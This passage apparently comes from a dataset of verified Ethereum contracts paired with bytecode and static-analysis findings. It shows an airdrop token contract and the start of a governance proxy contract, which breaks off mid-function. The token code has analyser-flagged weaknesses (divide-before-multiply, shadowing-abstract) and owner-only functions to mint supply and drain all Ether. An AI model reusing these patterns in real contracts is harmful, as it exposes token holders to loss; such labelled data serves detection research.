function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether;
uint256 bonusCond2 = 1 ether * 5;
uint256 bonusCond3 = 1 ether * 10;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 30 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 40 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 50 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 20 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 30 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 40 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 12500e8;
if (Claimed[investor] == false && progress0drop < target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
|
0x60806040526004361061018b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610195578063095ea7b3146102255780631003e2d21461028a57806318160ddd146102b757806323b872dd146102e257806329dcb0cf146103675780632e1a7d4d14610392578063313ce567146103bf57806342966c68146103ea578063532b581c1461041757806370a082311461044257806374ff2324146104995780637809231c146104c4578063836e81801461051157806383afd6da1461053c578063853828b61461056757806395d89b411461057e5780639b1cbccc1461060e5780639ea407be1461063d578063a9059cbb1461066a578063aa6ca808146106cf578063b449c24d146106d9578063c108d54214610734578063c489744b14610763578063cbdd69b5146107da578063dd62ed3e14610805578063e58fc54c1461087c578063e6a092f5146108d7578063efca2eed14610902578063f2fde38b1461092d578063f3ccb40114610970575b6101936109b5565b005b3480156101a157600080fd5b506101aa610d7a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ea5780820151818401526020810190506101cf565b50505050905090810190601f1680156102175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023157600080fd5b50610270600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db3565b604051808215151515815260200191505060405180910390f35b34801561029657600080fd5b506102b560048036038101908080359060200190929190505050610f41565b005b3480156102c357600080fd5b506102cc610ff8565b6040518082815260200191505060405180910390f35b3480156102ee57600080fd5b5061034d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ffe565b604051808215151515815260200191505060405180910390f35b34801561037357600080fd5b5061037c6113d4565b6040518082815260200191505060405180910390f35b34801561039e57600080fd5b506103bd600480360381019080803590602001909291905050506113da565b005b3480156103cb57600080fd5b506103d46114a8565b6040518082815260200191505060405180910390f35b3480156103f657600080fd5b50610415600480360381019080803590602001909291905050506114ad565b005b34801561042357600080fd5b5061042c611679565b6040518082815260200191505060405180910390f35b34801561044e57600080fd5b50610483600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061167f565b6040518082815260200191505060405180910390f35b3480156104a557600080fd5b506104ae6116c8565b6040518082815260200191505060405180910390f35b3480156104d057600080fd5b5061050f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116d3565b005b34801561051d57600080fd5b5061052661173d565b6040518082815260200191505060405180910390f35b34801561054857600080fd5b50610551611743565b6040518082815260200191505060405180910390f35b34801561057357600080fd5b5061057c611749565b005b34801561058a57600080fd5b50610593611832565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d35780820151818401526020810190506105b8565b50505050905090810190601f1680156106005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061a57600080fd5b5061062361186b565b604051808215151515815260200191505060405180910390f35b34801561064957600080fd5b5061066860048036038101908080359060200190929190505050611933565b005b34801561067657600080fd5b506106b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119d0565b604051808215151515815260200191505060405180910390f35b6106d76109b5565b005b3480156106e557600080fd5b5061071a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c0b565b604051808215151515815260200191505060405180910390f35b34801561074057600080fd5b50610749611c2b565b604051808215151515815260200191505060405180910390f35b34801561076f57600080fd5b506107c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c3e565b6040518082815260200191505060405180910390f35b3480156107e657600080fd5b506107ef611d29565b6040518082815260200191505060405180910390f35b34801561081157600080fd5b50610866600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d2f565b6040518082815260200191505060405180910390f35b34801561088857600080fd5b506108bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611db6565b604051808215151515815260200191505060405180910390f35b3480156108e357600080fd5b506108ec611ffb565b6040518082815260200191505060405180910390f35b34801561090e57600080fd5b50610917612001565b6040518082815260200191505060405180910390f35b34801561093957600080fd5b5061096e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612007565b005b34801561097c57600080fd5b506109b3600480360381019080803590602001908201803590602001919091929391929390803590602001909291905050506120de565b005b600080600080600080600080600d60009054906101000a900460ff161515156109dd57600080fd5b600097506000965060009550670de0b6b3a76400009450674563918244f400009350678ac7230489e800009250670de0b6b3a7640000610a2834600a5461219390919063ffffffff16565b811515610a3157fe5b049750339150662386f26fc100003410158015610a4f575060055442105b8015610a5c575060075442105b8015610a69575060065442105b15610ae757843410158015610a7d57508334105b15610a99576064601e8902811515610a9157fe5b049550610ae2565b833410158015610aa857508234105b15610ac457606460288902811515610abc57fe5b049550610ae1565b8234101515610ae057606460328902811515610adc57fe5b0495505b5b5b610b9d565b662386f26fc100003410158015610aff575060055442105b8015610b0c575060075442115b8015610b19575060065442105b15610b9757843410158015610b2d57508334105b15610b4957606460148902811515610b4157fe5b049550610b92565b833410158015610b5857508234105b15610b74576064601e8902811515610b6c57fe5b049550610b91565b8234101515610b9057606460288902811515610b8c57fe5b0495505b5b5b610b9c565b600095505b5b85880196506000881415610cb25765012309ce5400905060001515600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515148015610c175750600b54600c54105b15610c9657610c2682826121cb565b506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600c60008154809291906001019190505550610cad565b662386f26fc100003410151515610cac57600080fd5b5b610d47565b600088118015610cc95750662386f26fc100003410155b15610d2f576005544210158015610ce257506007544210155b8015610cef575060065442105b15610d0457610cfe82896121cb565b50610d2a565b8434101515610d1d57610d1782886121cb565b50610d29565b610d2782896121cb565b505b5b610d46565b662386f26fc100003410151515610d4557600080fd5b5b5b600854600954101515610d70576001600d60006101000a81548160ff0219169083151502179055505b5050505050505050565b6040805190810160405280600b81526020017f506f657820476c6f62616c00000000000000000000000000000000000000000081525081565b6000808214158015610e4257506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15610e505760009050610f3b565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f9f57600080fd5b610fb48260085461235790919063ffffffff16565b9050806008819055507f90f1f758f0e2b40929b1fd48df7ebe10afc272a362e1f0d63a90b8b4715d799f826040518082815260200191505060405180910390a15050565b60085481565b600060606004810160003690501015151561101557fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561105157600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561109f57600080fd5b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561112a57600080fd5b61117c83600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237390919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061124e83600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237390919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061132083600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60055481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561143857600080fd5b819050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156114a3573d6000803e3d6000fd5b505050565b600881565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561150b57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561155957600080fd5b3390506115ae82600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237390919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116068260085461237390919063ffffffff16565b6008819055506116218260095461237390919063ffffffff16565b6009819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b60065481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b662386f26fc1000081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561172f57600080fd5b611739828261238c565b5050565b60075481565b600c5481565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117a857600080fd5b3091508173ffffffffffffffffffffffffffffffffffffffff16319050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561182d573d6000803e3d6000fd5b505050565b6040805190810160405280600281526020017f504f00000000000000000000000000000000000000000000000000000000000081525081565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118c957600080fd5b600d60009054906101000a900460ff161515156118e557600080fd5b6001600d60006101000a81548160ff0219169083151502179055507f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc60405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561198f57600080fd5b80600a819055507ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c003816040518082815260200191505060405180910390a150565b60006040600481016000369050101515156119e757fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611a2357600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611a7157600080fd5b611ac383600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b5883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60046020528060005260406000206000915054906101000a900460ff1681565b600d60009054906101000a900460ff1681565b60008060008491508173ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611ce157600080fd5b505af1158015611cf5573d6000803e3d6000fd5b505050506040513d6020811015611d0b57600080fd5b81019080805190602001909291905050509050809250505092915050565b600a5481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e1757600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611eb557600080fd5b505af1158015611ec9573d6000803e3d6000fd5b505050506040513d6020811015611edf57600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611fb757600080fd5b505af1158015611fcb573d6000803e3d6000fd5b505050506040513d6020811015611fe157600080fd5b810190808051906020019092919050505092505050919050565b600b5481565b60095481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561206357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156120db5780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561213c57600080fd5b600090505b8383905081101561218d57612180848483818110151561215d57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff168361238c565b8080600101915050612141565b50505050565b6000808314156121a657600090506121c5565b81830290508183828115156121b757fe5b041415156121c157fe5b8090505b92915050565b6000600d60009054906101000a900460ff161515156121e957600080fd5b6121fe8260095461235790919063ffffffff16565b60098190555061225682600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235790919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a77836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000818301905082811015151561236a57fe5b80905092915050565b600082821115151561238157fe5b818303905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123e857600080fd5b6000811115156123f757600080fd5b60085460095410151561240957600080fd5b61245b81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235790919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124b38160095461235790919063ffffffff16565b6009819055506008546009541015156124e2576001600d60006101000a81548160ff0219169083151502179055505b8173ffffffffffffffffffffffffffffffffffffffff167fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d27282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a72305820964d4badffaa7c427d61869d36ca1a8945cc04864f84df192a04ba4f6bb3f3790029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,128 |
0x6a2714404be6613a952a80266840ffe916194632
|
/**
*Submitted for verification at Etherscan.io on 2021-02-14
*/
/// GebPauseScheduleProxyActions.sol
// Copyright (C) 2018 Gonzalo Balabasquer <[email protected]>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity ^0.6.7;
abstract contract PauseLike {
function scheduleTransaction(address, bytes32, bytes memory, uint) virtual public;
}
contract GebPauseScheduleProxyActions {
function modifyParameters(address pause, address actions, address who, bytes32 parameter, uint data, uint earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("modifyParameters(address,bytes32,uint256)", who, parameter, data),
earliestExecutionTime
);
}
function modifyParameters(address pause, address actions, address who, bytes32 parameter, int data, uint earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("modifyParameters(address,bytes32,int256)", who, parameter, data),
earliestExecutionTime
);
}
function modifyParameters(address pause, address actions, address who, bytes32 parameter, address data, uint earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("modifyParameters(address,bytes32,address)", who, parameter, data),
earliestExecutionTime
);
}
function modifyParameters(address pause, address actions, address who, bytes32 collateralType, bytes32 parameter, uint data, uint earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("modifyParameters(address,bytes32,bytes32,uint256)", who, collateralType, parameter, data),
earliestExecutionTime
);
}
function modifyParameters(address pause, address actions, address who, bytes32 collateralType, bytes32 parameter, address data, uint earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("modifyParameters(address,bytes32,bytes32,address)", who, collateralType, parameter, data),
earliestExecutionTime
);
}
function modifyParameters(address pause, address actions, address who, bytes32 collateralType, uint data1, uint data2, uint earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("modifyParameters(address,bytes32,uint256,uint256)", who, collateralType, data1, data2),
earliestExecutionTime
);
}
function modifyParameters(address pause, address actions, address who, bytes32 collateralType, uint data1, uint data2, address data3, uint earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("modifyParameters(address,bytes32,uint256,uint256,address)", who, collateralType, data1, data2, data3),
earliestExecutionTime
);
}
function modifyParameters(address pause, address actions, address who, uint256 data1, bytes32 data2, uint256 data3, uint256 earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("modifyParameters(address,uint256,bytes32,uint256)", who, data1, data2, data3),
earliestExecutionTime
);
}
function transferTokenOut(address pause, address actions, address who, address token, address receiver, uint256 amount, uint256 earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("transferTokenOut(address,address,address,uint256)", who, token, receiver, amount),
earliestExecutionTime
);
}
function deploy(address pause, address actions, address who, address stakingToken, uint256 data1, uint256 data2, uint256 earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("deploy(address,address,uint256,uint256)", who, stakingToken, data1, data2),
earliestExecutionTime
);
}
function notifyRewardAmount(address pause, address actions, address who, uint256 campaignNumber, uint256 earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("notifyRewardAmount(address,uint256)", who, campaignNumber),
earliestExecutionTime
);
}
function deployAndNotifyRewardAmount(address pause, address actions, address who, address stakingToken, uint256 data1, uint256 data2, uint256 earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("deployAndNotifyRewardAmount(address,address,uint256,uint256)", who, stakingToken, data1, data2),
earliestExecutionTime
);
}
function addReader(address pause, address actions, address validator, address reader, uint earliestExecutionTime) public {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("addReader(address,address)", validator, reader),
earliestExecutionTime
);
}
function removeReader(address pause, address actions, address validator, address reader, uint earliestExecutionTime) public {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("removeReader(address,address)", validator, reader),
earliestExecutionTime
);
}
function addAuthority(address pause, address actions, address validator, address account, uint earliestExecutionTime) public {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("addAuthority(address,address)", validator, account),
earliestExecutionTime
);
}
function removeAuthority(address pause, address actions, address validator, address account, uint earliestExecutionTime) public {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("removeAuthority(address,address)", validator, account),
earliestExecutionTime
);
}
function changePriceSource(address pause, address actions, address fsm, address priceSource, uint earliestExecutionTime) public {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("changePriceSource(address,address)", fsm, priceSource),
earliestExecutionTime
);
}
function stopFsm(address pause, address actions, address fsmGovInterface, bytes32 collateralType, uint earliestExecutionTime) public {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("stopFsm(address,bytes32)", fsmGovInterface, collateralType),
earliestExecutionTime
);
}
function start(address pause, address actions, address fsm, uint earliestExecutionTime) public {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("start(address)", fsm),
earliestExecutionTime
);
}
function modifyTwoParameters(
address pause,
address actions,
address who1,
address who2,
bytes32 collateralType1,
bytes32 collateralType2,
bytes32 parameter1,
bytes32 parameter2,
uint data1,
uint data2,
uint earliestExecutionTime
) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("modifyTwoParameters(address,address,bytes32,bytes32,bytes32,bytes32,uint256,uint256)", who1, who2, collateralType1, collateralType2, parameter1, parameter2, data1, data2),
earliestExecutionTime
);
}
function modifyTwoParameters(
address pause,
address actions,
address who1,
address who2,
bytes32 parameter1,
bytes32 parameter2,
uint data1,
uint data2,
uint earliestExecutionTime
) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
abi.encodeWithSignature("modifyTwoParameters(address,address,bytes32,bytes32,uint256,uint256)", who1, who2, parameter1, parameter2, data1, data2),
earliestExecutionTime
);
}
function removeAuthorization(address pause, address actions, address who, address to, uint earliestExecutionTime) external {
bytes32 tag;
assembly { tag := extcodehash(actions) }
PauseLike(pause).scheduleTransaction(
address(actions),
tag,
